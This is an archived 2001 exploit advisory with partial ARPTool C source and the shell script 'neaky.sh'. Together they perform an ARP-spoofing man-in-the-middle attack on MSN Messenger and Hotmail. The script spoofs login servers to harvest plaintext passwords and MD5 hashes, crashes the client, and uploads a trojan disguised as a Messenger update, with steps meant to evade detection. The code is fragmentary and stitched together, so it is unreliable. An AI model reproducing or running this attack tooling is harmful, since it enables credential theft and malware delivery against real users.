Messenger and Hotmail MITM Exploit (Arptool and Neaky)
18 Jul. 2001
Summary
The following is an exploit code that employs a 'Man In the Middle' attack against Messenger and its Hotmail module. The exploit code allows to:
1) Use the messenger scrambler bug to get passwords hashes.
2) Spoof a Hotmail site to retrieve plaintext passwords (since the protocol can be caused to transfer passwords in a non-encrypted form).
3) Remotely crash the client.
4) Upload a malicious program of your choice masqueraded as an update.
Prequsites:
You need the arptool from Cristiano Lincoln Mattos available here:
/*
* ARPTool v0.1, (c) Cristiano Lincoln Mattos, 1999 - <lincoln@hotlink.com.br>
*
* - Compiled and tested on Linux 2.0.33, 2.0.35, 2.0.36, libc5 & glibc.
* Will port to Solaris 2.5.1 as soon as i have time.
* - For usage, run it without arguments.
* - If you dont know what this is for, or what you can do with it,
* read yuri volobuev's excellent bugtraq post about ARP spoofing
* (available from the bugtraq archives).
* - The netmap results depend on the network latency.. try adjusting the
* usleep() delay, if you think it's too small/big.
* - The latest version will be always at
* http://www.hotlink.com.br/users/lincoln/arptool
* - Some code borrowed from neped (apostols.org), thanks.
*
* #include <stddisclaimer.h>
*
* CHANGELOG:
* 09/12/98 - General code cleanup.
* 07/12/98 - Removed the option for hiding in the process list, and
* double mode: didn't work as expected, stupid oversight.
* 29/12/98 - Better display of MAC's with more than one IP (proxy
* arp or virtual interfaces).
* 28/12/98 - Added check for arp reply being to source ip (netmap).
*/
if (arp_src==0) bzero(&pkt.arp_hw_src,ETH_ALEN);
else memcpy(&pkt.arp_hw_src,arp_src,ETH_ALEN);
if (arp_dst==0) bzero(&pkt.arp_hw_dst,ETH_ALEN);
else memcpy(&pkt.arp_hw_dst,arp_dst,ETH_ALEN);
ips = atoi(argv[spoof+3]);
if ( (ips!=1) && (ips!=2) ) {
printf(" Erro: wrong arp operation. Must be 1 for request or 2 for reply. \n");
exit(1);
}
memcpy(&sp.hw_src,str_to_hwaddr(argv[origspoof]),ETH_ALEN);
memcpy(&sp.hw_dst,str_to_hwaddr(argv[spoof++]),ETH_ALEN);
ips= inet_addr(argv[spoof++]);
memcpy(&sp.ip_src,&ips,4);
ips = inet_addr(argv[spoof++]);
memcpy(&sp.ip_dst,&ips,4);
ips = atoi(argv[spoof]);
memcpy(&sp.op,&ips,1);
}
// Setting up the sockets, interface, and getting data.
strcpy(sock.sa_data,dev);
sock.sa_family = AF_INET;
fd = socket(AF_INET, SOCK_PACKET, htons(ETH_P_ARP));
if (fd==-1) {
perror("Socket: "); exit (1);
}
// HW Addr.
strcpy(ifr.ifr_name,dev);
ret = ioctl(fd,SIOCGIFHWADDR,&ifr);
if (ret==-1) {
perror("Error getting HW Address"); exit (1);
}
memcpy(hwaddr,ifr.ifr_hwaddr.sa_data,ETH_ALEN);
// IP.
ret = ioctl(fd,SIOCGIFADDR,&ifr);
if (ret==-1) {
perror("Error getting IP Address"); exit (1);
}
memcpy(&sin,&ifr.ifr_addr,sizeof(struct sockaddr_in));
ip = sin.sin_addr.s_addr;
// Netmask.
ret = ioctl(fd,SIOCGIFNETMASK,&ifr);
if (ret==-1) {
perror("Error getting netmask"); exit (1);
}
memcpy(&sin,&ifr.ifr_netmask,sizeof(struct sockaddr_in));
netmask = sin.sin_addr.s_addr;
// netmask = 16777215; // 24 bit Netmask
// Broadcast.
ret = ioctl(fd,SIOCGIFBRDADDR,&ifr);
if (ret==-1) {
perror("Error getting broadcast"); exit (1);
}
memcpy(&sin,&ifr.ifr_broadaddr,sizeof(struct sockaddr_in));
broadcast = sin.sin_addr.s_addr;
while (1) {
if (map) netmap (fd,ip);
if (spoof) {
sendarp(fd,sp.hw_src,sp.hw_dst,sp.hw_src, sp.hw_dst,sp.ip_src,sp.ip_dst,sp.op);
}
if (interval) sleep(interval);
else break;
}
}
e = 0;
for (i=0; i < strlen(strbuf); i++) {
if ((strbuf[i]==':') && (e==0)) continue;
tmp[e] = strbuf[i]; e++;
if (e==2) {
unsigned int a;
a = hexstr_to_int(tmp);
memcpy(tt,&a,1); tt++;
bzero(tmp,2); e = 0;
}
}
return buf;
}
void usage (char * av, int mode) {
printf(" ARPTool v0.1, (c) Cristiano Lincoln Mattos, 1999. <lincoln@hotlink.com.br> \n");
if (!mode) {
printf(" Sintax: %s [-i interface] [-m] [-c] [-s hwsrc hwdest ipsrc ipdst op]\n",av);
printf(" -i interface: use this interface. If ommited, default to eth0\n");
printf(" -m: network map mode. Will identify all hosts on the same \n cable segment. \n");
printf(" -s src_hwaddress dst_hwaddress src_ipaddress dst_ipaddress operation:\n");
printf(" send arbitrary ARP packets. The hardware address must be \n specified in the usual form, i.e. 00:00:FD:FF:1E:C1.\n Operation is 1 for ARP request, 2 for ARP reply. \n");
printf(" -c interval: continuous mode. Will keep sending the specified \n packets every interval seconds (requires -s or -m).\n");
exit(1);
}
}
void add_to_list (unsigned long int ip, unsigned char * hw) {
struct list_struct * tmp;
struct iplist_struct * iptmp;
tmp = head;
while (tmp) {
if ((hw[0]==tmp->hw[0]) && (hw[1]==tmp->hw[1]) && (hw[2]==tmp->hw[2]) && (hw[3]==tmp->hw[3]) &&\
(hw[4]==tmp->hw[4]) && (hw[5]==tmp->hw[5])) break;
tmp = tmp->next;
}
if (!tmp) { // If it's the first HW entry, or did not find HW in list, create
if ((tmp = (struct list_struct *) malloc(sizeof(struct list_struct))) == NULL) {
printf("\n malloc error. \n"); exit (1);
}
if ((iptmp = (struct iplist_struct *) malloc(sizeof(struct iplist_struct))) == NULL) {
printf("\n malloc error. \n"); exit (1);
}
iptmp->ip = ip;
iptmp->next = NULL;
tmp->iplist = iptmp;
tmp->lastip = iptmp;
tmp->next = NULL;
memcpy(tmp->hw,hw,ETH_ALEN);
if (tail) {
tail->next = tmp;
tail = tmp;
}
} else { // Found the HW entry in the list, just add the IP.
if ((iptmp = (struct iplist_struct *) malloc(sizeof(struct iplist_struct))) == NULL) {
printf("\n malloc error. \n"); exit (1);
}
iptmp->ip = ip;
iptmp->next = NULL;
tmp->lastip->next = iptmp;
tmp->lastip = iptmp;
}
if (!head) head = tail = tmp;
}
Exploit code:
#!/bin/sh
#
# //
# // neaky.sh
# \\
# \\ wiss army knife for Hotmail/Messenger
# //
# //
#
#
# "Spoofing/brute force/misconception/unexpected input Class Attack"
#
#
#
# AUTHOR: Gregory Duchemin ( Aka c3rb3r )
#
# COMPANY: NEUROCOM CANADA
# 1001 bd Maisonneuve Ouest, suite 200
# H3A 3C8 Montreal (Quebec) CANADA
# gdn@neurocom.com
# 514 908 6800
# http://www.securite-internet.com
#
# DATE: January 2001
#
# PURPOSE: Will spoof Hotmail/messenger server to recover user
# hotmail/password, crash messenger client, remotely inject and
# execute malicious exe on the victim host.
#
# NOTE: U will have to send arp responses by broadcasting your MAC/GATEWAY
# to the limited broadcast address/IP Broadcast
# otherwise u can still try it on your own gateway or from your provider ;)
# As a last resort, u can temporalily modify your DNS entry for
# messenger servers.
#
# REQUIRED: This sploit needs an "arptool" like software and a local www server to work properly.
# ===============================================================
####################################### ##################################
# THIS SCRIPT IS JUST A PROOF OF CONCEPT AND SHOULD NOT BE USED FOR ANY ILLEGAL ACTIVITY
#
###################################### ##################################
export delay=100000
###################################
# Things to be configured first
###################################
# IP address of messenger server to spoof
# It change from client to client, check it by sniffing or u can always
# assign as many virtual ip as there are messenger server IP.
# Access URI : stupid garbage to hide the real url
export relogin="loginid=121EAAAAFBBDC2739121+CooKie= 1212198AFEDCDFFF+TimeoftheDAY=231212+PASS=+LOGIN=+BIG-Brother"
# Messenger PORT
export PORT=1863
# real IP of our fake hotmail server, this host ip
export MYIP="192.168.10.17"
# number of non read messages,
# need at least 1 to stimulate requests from the client
export nrmsg="10"
#number of non read folders
export nrfld="0"
#path/filename where to store hotmail password
export PASSWORD_HERE="/tmp/hotmail-pass"
#path to reach your arp spoofer/flooder
export ARP="arptool"
##########################################
# End of configuration options
##########################################
handl3r()
{
echo
echo "Job finished, hope everything is ok...."
echo "see ./log for details."
echo
html_cleaner
sync
killall "$ARP"
exit
}
echo "NOTE: Don't forget to customize settings in the script (the first lines)."
echo "NOTE2: This proggy needs a local www and arptool or something similar to broadcast arp response to your LAN. I don't have lust to reinvente the wheel."
echo "NOTE3: USE IT ONLY FOR EDUCATIONNAL PURPOSE, NOTHING ILLEGAL PLEASE !"
echo
echo "DETAILS: attack 1/ will trojanize victim to get back a plain password."
echo " attack 2/ will ask for weak md5 hash."
echo " attack 3/ will crash the client.(exploitable b.overflow ?)"
echo " attack 4/ will upload a fake update, naively installed."
echo
echo "have a nice day"
echo " Gregory Duchemin ( c3rb3r@hotmail.com )"
echo
echo
}
if [ $# -lt 1 ]; then
usage
exit
fi
export MODE="$1"
if [ $MODE -gt 4 ]; then
usage
exit
fi
# IP_forwarding should be set to avoid detection/suspicion.
sysctl -w net.ipv4.conf.all.forwarding=1
if [ $? -eq 1 ]; then
usage
echo
echo
echo "Warning: Unable to set ip_forwarding (not a Linux ?), please configure the script."
echo
echo
fi
if [ $? -eq 1 ]; then
usage
echo
echo
echo "Error: I need something like arptool to do the job.. even if u have something else but similar, please do the appropriate modifications in the script."
echo
echo
exit
fi
echo "OK"
export TID=$!
if [ $MODE = "2" ]; then
echo
echo "Weak MD5 hashes will be stored in /tmp/md5-password"
echo
echo
fi
if [ $MODE = "1" ]; then
echo
echo "Clear Hotmail/MSN passwords will be stored in /tmp/clear-password"
echo
echo
fi
if [ $MODE = "3" ]; then
echo
echo "Remote client may suddenly die...."
echo
echo
fi
if [ $MODE = "4" ]; then
if [ ! -f $malicious_path"/$malicious" ]; then
echo
echo "Please first define the trojan (in the configuration section)"
echo
echo
exit 0
fi
echo
echo "Remote Injection of junky data."
echo
echo
fi
chmod a+x $cgiroot"/$relogin"
#echo "This is the false update for messenger." > $httproot"mmssetup.exe"
echo "<html><br><br><br><center>Thanx for your participation.</center><br><br>C3rb3r.</html>" > $httproot"response.html"
}
